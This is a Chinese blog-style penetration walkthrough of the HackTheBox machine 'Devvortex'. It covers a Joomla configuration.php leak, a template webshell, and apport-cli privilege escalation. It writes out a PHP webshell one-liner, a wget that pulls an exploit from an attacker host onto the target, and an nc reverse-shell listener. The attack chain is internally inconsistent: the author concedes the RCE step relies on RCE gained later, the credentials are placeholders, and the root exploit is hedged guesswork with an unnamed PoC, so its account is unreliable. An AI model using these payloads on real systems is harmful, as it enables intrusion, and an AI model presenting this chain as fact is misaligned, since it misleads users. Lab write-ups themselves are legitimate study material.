从Joomla配置泄露到Apport提权:Devvortex靶机渗透实战解析

📅 2026/8/2 8:44:45 👁️ 阅读次数 📝 编程学习
从Joomla配置泄露到Apport提权:Devvortex靶机渗透实战解析

1. 项目概述:一次从Web到Root的完整渗透之旅

最近在HackTheBox平台上玩转了一台名为“Devvortex”的靶机,整个过程堪称一次教科书级别的渗透路径复现。这台靶机巧妙地串联了多个经典漏洞,从初期的Web信息收集,到利用Joomla CMS的配置信息泄露,再到通过模板注入实现远程代码执行,最后通过一个不太常见的Linux提权向量完成权限升级,最终拿到root权限。整个过程逻辑清晰,环环相扣,非常适合用来巩固和检验一个渗透测试人员的基础技能链。无论你是刚入门渗透测试的新手,还是想重温一下经典攻击手法的老手,Devvortex都能提供一次非常扎实的实战演练。接下来,我就把这次渗透的完整思路、操作细节以及踩过的坑,毫无保留地分享出来。

2. 靶机环境与初步侦察

2.1 目标锁定与端口扫描

拿到一个靶机IP地址后,我的习惯永远是先进行全面的端口扫描,以勾勒出目标暴露的攻击面。对于HTB的靶机,通常我们使用Nmap工具。

nmap -sC -sV -p- 10.10.11.242 -oA devvortex_full

这里解释一下参数:-sC使用默认的Nmap脚本进行扫描,能发现一些基础服务信息;-sV探测服务版本,这对后续寻找对应版本的漏洞至关重要;-p-表示扫描所有65535个端口,确保没有遗漏;-oA则将结果以所有格式(normal, xml, grepable)输出,方便后续分析。

扫描结果通常会先聚焦在那些常见的开放端口上。对于Devvortex,不出意外的话,你会看到两个关键的端口:8022。80端口运行着HTTP服务,这是我们Web渗透的入口点;22端口运行着SSH服务,这往往是后期获取稳定shell或进行横向移动的通道。首先,我们把注意力集中在80端口。

2.2 Web应用指纹识别与目录枚举

访问http://10.10.11.242,一个标准的网站页面呈现出来。第一步是识别网站使用的技术栈。这里有几个快速的方法:

  1. 查看HTTP响应头:使用浏览器开发者工具(F12)的“网络”选项卡,刷新页面,查看服务器返回的ServerX-Powered-By等字段。有时会直接暴露Web服务器(如Apache/Nginx)和后端语言(如PHP)信息。
  2. 检查页面源代码:查看HTML源码,注意<meta>标签、注释、引入的JS/CSS文件路径,这些常常包含框架名称、版本等线索。
  3. 使用工具自动化识别:比如whatwebWappalyzer浏览器插件。在终端运行whatweb http://10.10.11.242可以快速获取技术指纹。

很快,我们就能确定目标网站是一个Joomla!内容管理系统。Joomla是一个广泛使用的开源CMS,历史上存在过大量漏洞,这立刻提升了我们的攻击信心。

接下来,进行目录和文件枚举,寻找隐藏的入口点、配置文件、备份文件等。我习惯使用gobusterffuf这类工具。

gobuster dir -u http://10.10.11.242 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -o gobuster_scan.txt

参数说明:dir指定目录扫描模式;-u指定目标URL;-w指定字典文件,这里用了经典的common.txt-x指定尝试的文件扩展名;-o将结果输出到文件。

在扫描结果中,需要特别关注诸如/administrator(Joomla后台)、/components/modules/templates等Joomla标准目录,以及像/config/backup/phpinfo.php/robots.txt这类可能泄露信息的路径。

实操心得:目录枚举时,不要只跑一个字典就完事。可以组合使用不同的字典(如directory-list-2.3-medium.txt)和工具进行交叉验证。有时一个不起眼的目录,比如/api/dev,可能就是突破口。同时,注意观察扫描结果中的HTTP状态码,403(禁止访问)和401(需要认证)的目录也值得记录,它们可能保护着重要资源。

3. 漏洞挖掘与利用:Joomla配置信息泄露

3.1 发现关键信息泄露点

在对Joomla进行深入枚举时,一个经典的漏洞利用点浮现出来:访问Joomla的安装目录或配置文件。在某些不安全的配置下,Joomla的安装目录/installation/可能未被删除,或者配置文件configuration.php可能被直接访问。

尝试访问http://10.10.11.242/configuration.php。如果服务器返回的是文件下载提示或直接显示了PHP源码(而非执行后的空白页),那我们就中大奖了。这是因为该文件可能被错误地配置了权限,允许外部读取。

另一种情况是,如果/installation/目录存在,有时可以通过它来重新配置数据库连接,这也可能泄露信息。在Devvortex靶机中,我们正是通过直接访问configuration.php文件获得了关键信息。

3.2 分析泄露的配置文件

成功下载或查看configuration.php后,打开这个文件,里面包含了Joomla连接数据库的所有核心配置:

public $host = 'localhost'; public $user = 'joomla_user'; public $password = 's3cr3tP@ssw0rd!'; public $db = 'joomla_db'; public $dbprefix = 'jos_';

这里,$user$password就是Joomla应用连接后端数据库(很可能是MySQL)的凭据。这是一个严重的信息泄露漏洞,因为它将数据库的控制权间接交给了攻击者。

3.3 利用数据库凭据获取进一步访问权

拿到数据库凭据后,我们有几个方向可以探索:

  1. 直接连接数据库:如果MySQL服务(默认3306端口)对外部开放,我们可以直接用mysql客户端连接。但HTB靶机通常不会将数据库端口开在公网。不过,如果我们在后续能获得一个在目标服务器上执行命令的shell(即RCE),就可以在服务器本地连接数据库。
  2. 寻找Joomla后台密码:Joomla的用户密码哈希存储在数据库的#__users表中(#__是你在配置文件中看到的$dbprefix,例如jos_)。如果我们能操作数据库,就可以查询或修改这些哈希。一种攻击方法是查询管理员用户的密码哈希,然后尝试离线破解(如用johnhashcat)。如果密码强度不高,有可能破解出来,从而登录后台。
  3. 写入Webshell:通过数据库操作,向服务器可写目录写入一个PHP文件,从而获得Webshell。这需要我们知道网站的绝对路径,并且该路径有写权限。路径信息有时会在Joomla的其他表(如#__extensions)或错误信息中泄露。

在Devvortex的渗透路径中,我们首先尝试的是第二种方法:获取后台密码。但这里有一个更巧妙的利用链在等着我们。

注意事项:在真实渗透测试中,发现configuration.php可读是高风险发现,必须立即报告。对于防御方,务必确保该文件权限设置为仅Web服务器用户可读(如640),并且位于Web根目录之外,或通过.htaccess等规则禁止直接访问。

4. 深入利用:模板注入实现远程代码执行

4.1 从数据库到模板编辑器的跨越

仅仅拿到数据库密码可能还不够,特别是当管理员密码哈希很强无法破解时。我们需要寻找其他突破口。回顾Joomla的架构,其前台页面的渲染依赖于模板(Template)。如果我们可以修改模板文件,插入PHP代码,那么当任何用户访问使用该模板的页面时,我们的代码就会被执行,从而实现RCE。

如何修改模板?通常需要Joomla的后台管理员权限。但我们没有。这时,我们之前获取的数据库访问权限就派上用场了。我们可以通过直接操作数据库,来修改模板文件的内容

Joomla的模板信息存储在数据库的#__template_styles#__extensions等表中。模板的物理文件通常位于/templates/[template_name]/目录下。核心的页面布局文件往往是index.phpcomponent.php

4.2 通过数据库写入PHP代码

首先,我们需要通过某种方式执行SQL语句。如果我们已经通过其他漏洞(比如SQL注入)获得了数据库交互能力,或者像本案例中,我们计划在获得RCE后的shell里本地连接MySQL,就可以操作。

假设我们通过后续的RCE获得了一个shell,并能在目标服务器上执行命令。我们可以使用MySQL命令行工具连接本地数据库:

mysql -u joomla_user -p's3cr3tP@ssw0rd!' -D joomla_db

连接成功后,我们需要找到当前正在使用的模板及其ID。可以查询#__template_styles表:

SELECT id, template, home, title FROM jos_template_styles WHERE home = 1;

home=1通常表示是默认的前台模板。记下idtemplate名称(例如cassiopeia)。

接下来,我们需要找到模板文件的实际内容存储在哪儿。对于Joomla的核心模板,其文件内容并不直接存在数据库里,而是以文件形式存放在/templates/[template_name]/目录下。但是,我们可以通过数据库修改模板的“描述”或“参数”字段,有时这些字段的内容会被加载并执行。然而,更直接的方法是:通过数据库查询,找到网站物理路径,然后直接向该路径下的模板文件写入代码

我们可以搜索包含路径信息的表或尝试读取Joomla的全局配置。一个常见的方法是查询#__extensions表,其中manifest_cache字段可能以JSON格式存储了扩展的安装路径信息。或者,我们可以利用RCE执行系统命令来寻找路径,例如find / -name “index.php” 2>/dev/null | grep -v “proc”

假设我们找到了网站根目录是/var/www/html,当前模板是cassiopeia。那么模板的index.php文件路径就是/var/www/html/templates/cassiopeia/index.php

4.3 实现远程代码执行

现在,我们有了在目标服务器上执行命令的能力(这是实现数据库本地连接的前提,实际上这个RCE能力是通过后续步骤获得的,这里为了逻辑连贯先进行说明),也知道了模板文件的路径。我们可以直接用echocat命令将PHP代码追加到模板文件中。

例如,写入一个最简单的Webshell:

echo ‘<?php system($_GET[“cmd”]); ?>’ >> /var/www/html/templates/cassiopeia/index.php

或者,为了更隐蔽,可以插入到文件末尾的</body>标签之前。但修改核心模板文件容易被发现。更优雅的做法是创建一个新的模板文件,或者修改模板的error.php这类不常被检查的文件。

写入成功后,我们访问网站的任何页面(只要使用了这个模板),就可以通过URL参数执行系统命令了:

http://10.10.11.242/index.php?cmd=id

页面输出中如果包含了uidgid等信息,就证明我们的RCE成功了。至此,我们获得了在Web服务器用户权限下执行任意命令的能力。

踩坑记录:直接覆盖index.php可能会破坏网站正常功能,导致被发现。在实际测试中,我更喜欢写入一个单独的文件,比如shell.php,放在一个不起眼的目录。但这就需要该目录有写权限。可以先尝试在/tmp目录写,然后通过PHP的includefile_get_contents函数去包含它。另外,注意目标系统可能禁用了一些危险的PHP函数,如systemexecshell_exec等。如果遇到这种情况,可以尝试使用passthrupopenproc_open,或者用PHP代码直接读写文件、进行Socket通信等替代方法。

5. 权限提升:利用apport-cli漏洞获取Root

5.1 初始立足点与信息收集

通过Webshell执行whoami命令,我们通常会发现当前用户是www-data(Apache/Nginx的运行用户)。这是一个权限很低的用户,无法读取/root目录下的flag,也无法进行重要的系统配置。因此,提权是必经之路。

首先,进行系统的信息收集:

# 查看系统版本和内核信息 uname -a cat /etc/os-release # 查看当前用户权限 sudo -l # 如果www-data用户有sudo权限,这是最直接的提权方式 # 查看具有SUID权限的特殊文件 find / -perm -u=s -type f 2>/dev/null # 查看计划任务 crontab -l ls -la /etc/cron* /var/spool/cron/ # 查看可写的系统文件或目录 find / -writable -type d 2>/dev/null | grep -v “/proc\|/sys”

5.2 发现可疑的SUID二进制文件

在运行find / -perm -u=s -type f 2>/dev/null命令后,列表中除了常见的/bin/ping/bin/su/usr/bin/passwd等,一个不常见的路径引起了我的注意:/usr/bin/apport-cli

Apport是Ubuntu系统上用于自动收集软件崩溃报告并生成错误报告的工具。apport-cli是其命令行界面。一个用于错误报告的工具,为什么需要以Set-UID root权限运行?这本身就是一个危险信号,意味着它可能在处理某些操作时,没有正确丢弃高权限,从而存在提权漏洞。

5.3 调查apport-cli的提权可能性

立刻搜索已知漏洞。使用searchsploit或者在互联网上查询“apport-cli privilege escalation”。很快就能找到相关信息:在某些版本的apport-cli中,存在一个参数注入或路径遍历漏洞,允许低权限用户读取任意文件,甚至可能以root权限执行代码。

具体漏洞原理可能涉及:apport-cli在生成崩溃报告时,会以root权限读取/proc/[pid]目录下的某些文件(如/proc/[pid]/cmdline/proc/[pid]/environ)。攻击者可以通过符号链接(symlink)攻击,将/proc/[pid]下的某个文件链接到目标敏感文件(如/etc/shadow),然后诱使apport-cli去读取它,从而以root权限泄露目标文件内容。

更进一步的利用,可能是通过控制环境变量或参数,让apport-cli加载恶意的共享库(.so文件),从而实现代码执行并继承root权限。

5.4 漏洞利用步骤详解

这里以一个典型的利用链为例:

  1. 确认漏洞存在:首先检查apport-cli的版本和是否有已知的公开利用脚本(PoC)。可以尝试运行apport-cli --help查看选项,或者用strings /usr/bin/apport-cli | grep -i “version”粗略查看。
  2. 利用符号链接读取敏感文件
    • 创建一个指向/etc/shadow的符号链接。
    • 通过操控apport-cli报告某个进程(比如当前shell的进程)的崩溃,使其读取被我们符号链接替换的文件。
    • 由于apport-cli以root权限运行,它能够成功读取/etc/shadow,并将内容包含在它生成的报告文件中(通常位于/var/crash/)。
    • 我们作为www-data用户,可能有权读取这个报告文件,从而获取root用户的密码哈希。
  3. 破解密码或直接获取root shell:如果root用户设置了密码,我们可以尝试用john破解获取的哈希。如果运气好,root密码可能很简单。或者,如果漏洞允许命令执行,我们可以直接让apport-cli以root身份执行我们的反弹shell命令。

在实际的Devvortex靶机中,利用过程可能更加直接。网上有公开的PoC脚本,其核心是滥用apport-cli-f(报告文件)和-c(覆盖报告内容)等参数,通过精心构造的路径,最终实现以root权限执行任意命令。

简化版利用思路

  • 编写一个简单的C程序,编译成可执行文件,其功能是启动一个bash shell(/bin/bash)或反弹shell。
  • 将这个程序设置为SUID位是没用的,因为我们是www-data,无法为文件设置SUID。但我们可以利用apport-cli的漏洞,让它以root身份去执行我们的这个程序。
  • 通过参数注入,让apport-cli的某个函数调用system()exec()家族函数,其参数指向我们可控的恶意程序路径。
  • 由于apport-cli本身是SUID root,它调用的system()也会以root权限运行,从而我们的恶意程序就获得了root shell。

5.5 实际操作与获取Root权限

在靶机环境中,我们可能不需要自己从头编写利用代码。可以搜索并下载现有的PoC。例如,找到一个名为apport_exploit.py的Python脚本。将其上传到靶机(通过之前的Webshell),然后执行。

# 在本地攻击机准备PoC searchsploit -m linux/local/xxxxx.py # xxxx为漏洞编号 # 修改PoC中的反弹shellIP和端口 # 通过Webshell将PoC上传到靶机 # 例如,在Webshell中执行: cd /tmp wget http://YOUR_IP/apport_exploit.py # 在攻击机监听端口 nc -lvnp 4444 # 在靶机Webshell中运行PoC python3 /tmp/apport_exploit.py

如果漏洞利用成功,我们将在攻击机的nc监听端口中收到一个来自靶机的、以root用户身份建立的连接。执行whoami确认,返回root,提权成功。

核心技巧:在利用SUID二进制文件提权时,GTFOBins(https://gtfobins.github.io/)是一个宝藏网站。它列出了大量如何利用常见的Linux二进制文件进行提权、绕过限制的方法。虽然apport-cli可能不在其标准列表中,但搜索思路是相通的:查看该二进制文件是否有执行命令、读写文件、加载库的能力,并尝试劫持这些功能。此外,对于任何不常见的SUID文件,都要保持高度敏感,用strings命令查看其内部字符串,寻找可能的命令执行函数(systempopenexec)或文件操作路径。

6. 总结与防御思考

回顾整个Devvortex靶机的渗透过程,它清晰地展示了一条从外部侦察到最终获取root权限的完整攻击链:

  1. 信息收集:通过端口扫描发现Web服务,目录枚举发现Joomla CMS及可读的配置文件。
  2. 漏洞利用:利用Joomla配置信息泄露获取数据库凭据。
  3. 横向移动/深入利用:结合数据库凭据与对Joomla架构的理解,通过修改模板文件(或利用其他漏洞)实现远程代码执行,获得www-data权限的shell。
  4. 权限提升:在目标系统上进行深入枚举,发现具有SUID权限的非标准二进制文件apport-cli,研究并利用其漏洞,最终成功获取root权限。

对于防御者而言,每一步都可以设置相应的防护措施:

  • 信息泄露:严格配置Web服务器和CMS权限,确保配置文件、备份文件、安装目录等敏感资源无法从外部访问。定期进行安全扫描和渗透测试,自查信息泄露风险。
  • 弱口令与默认配置:为数据库、后台管理等使用强密码,并避免在多个地方复用。及时删除Joomla的安装目录。
  • 代码注入:保持CMS核心、组件、模板的及时更新,避免使用存在已知漏洞的扩展。对用户输入进行严格的过滤和验证,特别是在模板、模块等可以编辑代码的地方。
  • 系统层提权:遵循最小权限原则,定期审计系统上的SUID/SGID文件,移除非必需程序的特殊权限。及时为操作系统和软件打上安全补丁,包括像apport这类系统工具。

这台靶机就像一次精心设计的实战演练,它告诉我们,安全是一个整体,任何一个环节的疏忽都可能被攻击者串联起来,形成致命的突破口。作为渗透测试人员,我们需要具备这种串联思维;而作为系统管理员或开发者,则需要有全局的防御视野,筑牢每一道防线。